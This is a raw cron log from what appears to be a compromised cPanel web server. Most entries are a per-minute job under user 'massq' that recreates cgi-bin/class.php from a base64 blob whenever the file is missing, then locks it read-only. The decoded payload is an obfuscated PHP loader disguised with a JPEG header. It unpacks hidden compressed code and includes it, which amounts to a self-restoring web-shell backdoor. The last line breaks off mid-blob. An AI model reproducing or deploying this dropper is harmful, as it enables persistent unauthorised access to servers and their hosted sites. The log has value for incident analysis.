Apr  9 04:31:01 server CROND[20846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:32:01 server CROND[20898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:33:01 server CROND[20980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:34:01 server CROND[21041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:35:01 server CROND[21116]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 04:35:01 server CROND[21120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:35:01 server CROND[21121]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 04:35:01 server CROND[21123]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 04:35:01 server CROND[21122]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 04:36:01 server CROND[21347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:37:01 server CROND[21410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:38:01 server CROND[21466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:39:01 server CROND[21542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:39:01 server CROND[21543]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 04:40:01 server CROND[21613]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 04:40:01 server CROND[21614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:40:01 server CROND[21615]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 04:40:01 server CROND[21616]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 04:41:01 server CROND[21728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:42:01 server CROND[21881]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 04:42:01 server CROND[21882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:43:01 server CROND[21956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:44:01 server CROND[22026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd